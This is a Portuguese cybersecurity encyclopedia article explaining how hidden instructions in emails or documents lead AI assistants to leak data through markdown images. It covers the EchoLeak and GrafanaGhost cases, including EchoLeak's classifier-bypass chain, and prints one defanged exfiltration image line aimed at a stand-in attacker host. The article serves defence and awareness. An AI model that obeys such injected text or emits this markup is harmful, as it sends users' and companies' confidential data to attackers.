---
id: CP-284
slug: exfiltracao-dados-markdown-assistente-ia
lang: pt
title: Fuga de dados através de uma imagem num assistente de IA
description: Um texto escondido num e-mail pode levar um assistente de IA a mostrar uma imagem que transporta os seus dados. Casos EchoLeak e GrafanaGhost, defesas.
canonical_url: https://startbrain.io/cyberpedia/pt/articles/exfiltracao-dados-markdown-assistente-ia/
markdown_url: https://startbrain.io/cyberpedia/pt/articles/exfiltracao-dados-markdown-assistente-ia.md
publisher: Brain (https://startbrain.io)
license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/)
cite_as: Brain, «Fuga de dados através de uma imagem num assistente de IA», Cyberpedia, 2026. https://startbrain.io/cyberpedia/pt/articles/exfiltracao-dados-markdown-assistente-ia/ (CC BY 4.0)
wing: 4
theme: protect_data
reflex: air-025
schema: G1
updated: "2026-11-14"
translations:
  pt: https://startbrain.io/cyberpedia/pt/articles/exfiltracao-dados-markdown-assistente-ia/
  fr: https://startbrain.io/cyberpedia/fr/articles/exfiltration-donnees-markdown-assistant-ia/
  en: https://startbrain.io/cyberpedia/en/articles/markdown-image-exfiltration-ai-assistant/
  de: https://startbrain.io/cyberpedia/de/articles/exfiltration-daten-markdown-ki-assistent/
  es: https://startbrain.io/cyberpedia/es/articles/exfiltracion-datos-markdown-asistente-ia/
  it: https://startbrain.io/cyberpedia/it/articles/esfiltrazione-dati-markdown-assistente-ia/
  nl: https://startbrain.io/cyberpedia/nl/articles/gegevensexfiltratie-markdown-ai-assistent/
  pl: https://startbrain.io/cyberpedia/pl/articles/eksfiltracja-danych-markdown-asystent-ai/
  ja: https://startbrain.io/cyberpedia/ja/articles/markdown-image-exfiltration-ai-assistant/
sources:
  - "n": 1
    title: "EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System"
    publisher: arXiv
    url: https://arxiv.org/abs/2509.10540
    published: "2025-09-06"
    accessed: "2026-11-14"
  - "n": 2
    title: OWASP GenAI Exploit Round-up Report Q1 2026
    publisher: OWASP
    url: https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/
    published: "2026-04-14"
    accessed: "2026-11-14"
  - "n": 3
    title: LLM Prompt Injection Prevention Cheat Sheet
    publisher: OWASP
    url: https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html
    accessed: "2026-11-14"
  - "n": 4
    title: LLM02:2025 Sensitive Information Disclosure
    publisher: OWASP
    url: https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/
    published: "2024-04-10"
    accessed: "2026-11-14"
  - "n": 5
    title: Prompt injection is not SQL injection (it may be worse)
    publisher: NCSC (Royaume-Uni)
    url: https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection
    published: "2025-12-08"
    accessed: "2026-11-14"
  - "n": 6
    title: LLM06:2025 Excessive Agency
    publisher: OWASP
    url: https://genai.owasp.org/llmrisk/llm062025-excessive-agency/
    published: "2024-04-10"
    accessed: "2026-11-14"
  - "n": 7
    title: Exfiltration of personal information from ChatGPT via prompt injection
    publisher: arXiv
    url: https://arxiv.org/abs/2406.00199
    published: "2024-05-31"
    accessed: "2026-11-14"
---

# Fuga de dados através de uma imagem num assistente de IA

No caso do EchoLeak, um assistente de IA deixou sair dados da empresa sem que ninguém clicasse em coisa alguma [1]. Um texto escondido num correio eletrónico ou num documento dá instruções ao assistente [3]. Este mostra então uma imagem cujo endereço contém os dados [3], e a imagem é obtida automaticamente [1].

Dois casos descrevem este mecanismo. No EchoLeak, no Microsoft 365 Copilot, um artigo de investigadores descreve uma exfiltração de dados à distância, sem autenticação, através de um único correio eletrónico armadilhado, explorando imagens obtidas automaticamente [1]. No GrafanaGhost, investigadores divulgaram uma falha que podia levar o assistente do Grafana a mostrar uma imagem externa, a qual enviava dados da empresa ao atacante num parâmetro do endereço [2].

## Em 30 segundos

- Onde acontece: quando um assistente de IA lê um conteúdo que não escreveu, por exemplo um correio eletrónico, uma página web ou um documento [3].
- O que pretende o atacante: fazer sair dados da empresa para um servidor que controla [2].
- O reflexo: só dê ao assistente os dados necessários para a tarefa, porque uma informação fornecida por descuido pode voltar a sair mais tarde nas respostas dele [4].

## Perguntas diretas

### É preciso clicar para os dados saírem?

No EchoLeak, não: o ataque descrito funciona sem interação do utilizador [1]. No GrafanaGhost, o Grafana declarou que a exploração teria exigido uma interação substancial do utilizador [2].

### O que é uma injeção de prompt indireta?

Segundo o NCSC (Reino Unido), é o caso em que um atacante sem acesso direto ao sistema de IA escreve algo que acaba tratado pelo sistema e tomado por uma instrução [5]. A OWASP inclui nesta categoria o conteúdo de correios eletrónicos e de anexos tratados por assistentes de IA, bem como o texto escondido em páginas web, documentos ou correios eletrónicos [3].

### Porque é que o assistente obedece a um texto que não se vê?

Segundo o NCSC (Reino Unido), os grandes modelos de linguagem atuais não aplicam nenhuma fronteira de segurança entre as instruções e os dados dentro de um prompt [5]. A OWASP acrescenta que as cadeias de tratamento de documentos transmitem muitas vezes ao modelo o texto extraído, sem ter em conta a apresentação, de modo que um texto invisível para o leitor chega ao modelo na mesma [3].

### Que dados podem fugir?

A OWASP cita os dados pessoais, as informações financeiras, os registos de saúde, os dados confidenciais da empresa, as credenciais de segurança e os documentos jurídicos [4].

### Um filtro de frases suspeitas basta?

Não. Segundo a OWASP, a filtragem das entradas não é uma fronteira de segurança: um atacante pode reformular uma instrução de muitas maneiras que uma lista de bloqueio não reconhece [3]. O NCSC (Reino Unido) alerta também contra o bloqueio de conteúdos conhecidos como maliciosos, porque existe uma infinidade de reformulações de um ataque [5].

### Este risco pode desaparecer?

O NCSC (Reino Unido) considera que a injeção de prompt talvez nunca venha a ser totalmente mitigada, e que as equipas de segurança devem saber que continuará a ser um risco residual, gerido pela conceção, pela construção e pela exploração [5].

### O que deve a empresa limitar?

A OWASP cita três causas de um excesso de poder do assistente: demasiadas funções, demasiadas permissões, demasiada autonomia [6]. Cada ferramenta só deveria receber os dados e as operações de que precisa [3].

## Na pele do atacante

O atacante não tem acesso ao assistente. Escreve um conteúdo que acabará lido por ele: um correio eletrónico, um documento, uma página [5]. Esconde lá instruções, por exemplo com um texto da cor do fundo, minúsculo, tapado ou colocado fora da página [3].

O objetivo dele é obter dados da empresa num servidor que controla [2]. A OWASP descreve um cenário típico: um assistente pessoal tem acesso à caixa de entrada para resumir os correios eletrónicos recebidos. Um correio eletrónico armadilhado leva-o a percorrer a caixa à procura de informações sensíveis e a transferi-las para o endereço do atacante [6]. Neste cenário, a extensão escolhida pelo programador contém também funções de envio de mensagens, quando a leitura basta para resumir [6].

No EchoLeak, os investigadores descrevem um encadeamento de contornos: o classificador XPIA (Cross Prompt Injection Attempt) da Microsoft, a ocultação das ligações (contornada com a sintaxe Markdown chamada reference-style), as imagens carregadas automaticamente e um proxy do Microsoft Teams autorizado pela política de segurança de conteúdos [1].

## O que vê no ecrã

O texto armadilhado não se vê: é esse o princípio [3]. A OWASP assinala que, nos seus mapeamentos de riscos, os utilizadores de uma IA de observabilidade de confiança podiam desencadear a fuga sem o saber [2].

A exfiltração passa por uma imagem. O exemplo da OWASP é uma etiqueta de imagem escondida cujo endereço contém o dado a roubar [3]. Segue-se uma ilustração neutralizada deste princípio, que não funciona:

```text
Ilustração neutralizada, não funcional.
[Texto escondido num correio eletrónico: instrução que pede ao assistente que mostre uma imagem]
![imagem](hxxps://servidor-atacante[.]invalid/imagem?dados=[dados da empresa])
```

No caso GrafanaGhost, o contexto malicioso podia levar o assistente a ignorar as suas salvaguardas e a mostrar uma imagem externa, o que enviava os dados ao atacante como parâmetro do endereço [2].

## Por baixo do capô

O mecanismo assenta em três elementos.

- A imagem é obtida sem ação do utilizador: o EchoLeak explorava imagens carregadas automaticamente [1].
- Os dados viajam no endereço da imagem, como parâmetro do endereço [2].
- A apresentação da resposta do assistente passa a ser o canal de saída: a OWASP classifica nomeadamente o GrafanaGhost no tratamento incorreto das saídas do modelo (LLM05:2025) [2].

As defesas esperadas da empresa incidem sobre estes três pontos.

- Filtrar o que o assistente mostra. No GrafanaGhost, a OWASP recomenda sanear o contexto externo, restringir a apresentação de saída e reforçar a validação dos endereços [2]. A lista de verificação da OWASP pede também um saneamento do HTML e do Markdown na apresentação [3]. Um modelo de salvaguarda pode examinar a resposta antes de a apresentar, nomeadamente para detetar marcação de exfiltração, mas é ele próprio um modelo e pode sofrer uma injeção de prompt [3].
- Limitar os direitos do assistente. Os autores do estudo do EchoLeak tiram como lição o princípio do privilégio mínimo, a defesa em profundidade e testes adversariais contínuos [1]. A OWASP dá exemplos: não oferecer ao agente uma extensão que vá buscar o conteúdo de um endereço web se o sistema não precisar dela, e limitar uma extensão de mensagens à leitura [6]. A OWASP recomenda a aprovação de uma pessoa para as ações de grande impacto [6].
- Separar consoante a proveniência. O NCSC (Reino Unido) cita uma regra simples: quando um modelo trata informações de uma parte, os seus privilégios descem para os dessa parte. Um assistente que trata correios eletrónicos de pessoas externas não deve, portanto, ter acesso a ferramentas privilegiadas [5].

O NCSC (Reino Unido) observa que nenhum produto basta para eliminar a injeção de prompt, e que o melhor que se pode esperar é reduzir a probabilidade ou o impacto [5]. Para o NCSC (Reino Unido), as proteções de conceção deveriam visar mais salvaguardas determinísticas, fora do modelo, que limitem as ações do sistema [5]. A OWASP recomenda testar estas fronteiras com dados fictícios e ferramentas de substituição instrumentadas [3].

Para o colaborador, a OWASP indica que os utilizadores deveriam compreender o risco de fornecer sem querer dados sensíveis, que podem depois aparecer na saída do modelo [4]. Recomenda que se forneçam orientações para evitar a introdução de informações sensíveis [4], e que só se conceda acesso aos dados necessários ao utilizador ou ao processo em causa [4].

## Autópsias

### EchoLeak no Microsoft 365 Copilot, estudo de setembro de 2025

O EchoLeak tem o identificador CVE-2025-32711. Os investigadores descrevem-no como uma injeção de prompt sem clique no Microsoft 365 Copilot, que permitia uma exfiltração de dados à distância e sem autenticação através de um único correio eletrónico armadilhado [1]. O artigo, depositado no arXiv a 6 de setembro de 2025, foi publicado na AAAI Fall Symposium Series 2025 [1].

O encadeamento descrito combina o contorno do classificador XPIA, a sintaxe Markdown reference-style, as imagens carregadas automaticamente e um proxy do Teams autorizado pela política de segurança de conteúdos [1]. Os autores propõem como medidas a partição dos prompts, uma filtragem reforçada das entradas e das saídas, um controlo de acesso baseado na proveniência e políticas de segurança de conteúdos rigorosas [1].

### GrafanaGhost, abril de 2026

A OWASP data a divulgação em 7 de abril de 2026 e o reconhecimento de uma correção em 8 de abril [2]. A Noma Security encontrou uma fraqueza nos componentes de IA do Grafana, que permitia apontar o sistema para recursos externos com instruções escondidas [2]. O assistente podia então mostrar uma imagem externa, o que enviava dados da empresa ao atacante como parâmetro do endereço [2].

O Grafana indicou depois que um problema na apresentação das imagens Markdown tinha sido corrigido rapidamente e que a exploração teria exigido uma interação substancial do utilizador [2]. A OWASP especifica que nenhum CVE público foi atribuído e que foi aplicada uma correção parcial ao componente de apresentação [2]. Trata-se de uma divulgação de investigação [2].

### ChatGPT e os dados pessoais, maio de 2024

Num artigo depositado a 31 de maio de 2024, o autor relata que o ChatGPT 4 e 4o eram suscetíveis a uma injeção de prompt que permitia a um atacante exfiltrar dados pessoais dos utilizadores [7]. Segundo ele, o ataque aplicava-se sem ferramenta de terceiros e todos os utilizadores eram então afetados [7]. A função de memória do ChatGPT agravava a falha, porque permitia ao atacante fazer vigiar o utilizador para obter os dados pretendidos [7].

## Fontes

1. arXiv, «EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System», 6 de setembro de 2025. https://arxiv.org/abs/2509.10540 (consultado em 14 de novembro de 2026)
2. OWASP, «OWASP GenAI Exploit Round-up Report Q1 2026», 14 de abril de 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (consultado em 14 de novembro de 2026)
3. OWASP, «LLM Prompt Injection Prevention Cheat Sheet». https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (consultado em 14 de novembro de 2026)
4. OWASP, «LLM02:2025 Sensitive Information Disclosure», 10 de abril de 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (consultado em 14 de novembro de 2026)
5. NCSC (Royaume-Uni), «Prompt injection is not SQL injection (it may be worse)», 8 de dezembro de 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (consultado em 14 de novembro de 2026)
6. OWASP, «LLM06:2025 Excessive Agency», 10 de abril de 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (consultado em 14 de novembro de 2026)
7. arXiv, «Exfiltration of personal information from ChatGPT via prompt injection», 31 de maio de 2024. https://arxiv.org/abs/2406.00199 (consultado em 14 de novembro de 2026)

---

Fonte original: Cyberpedia, a enciclopédia pública de cibersegurança e IA publicada pela Brain. Versão canónica: https://startbrain.io/cyberpedia/pt/articles/exfiltracao-dados-markdown-assistente-ia/
Pode reutilizar livremente este texto sob a licença CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), desde que cite «Brain, Cyberpedia» com uma ligação para o endereço acima.
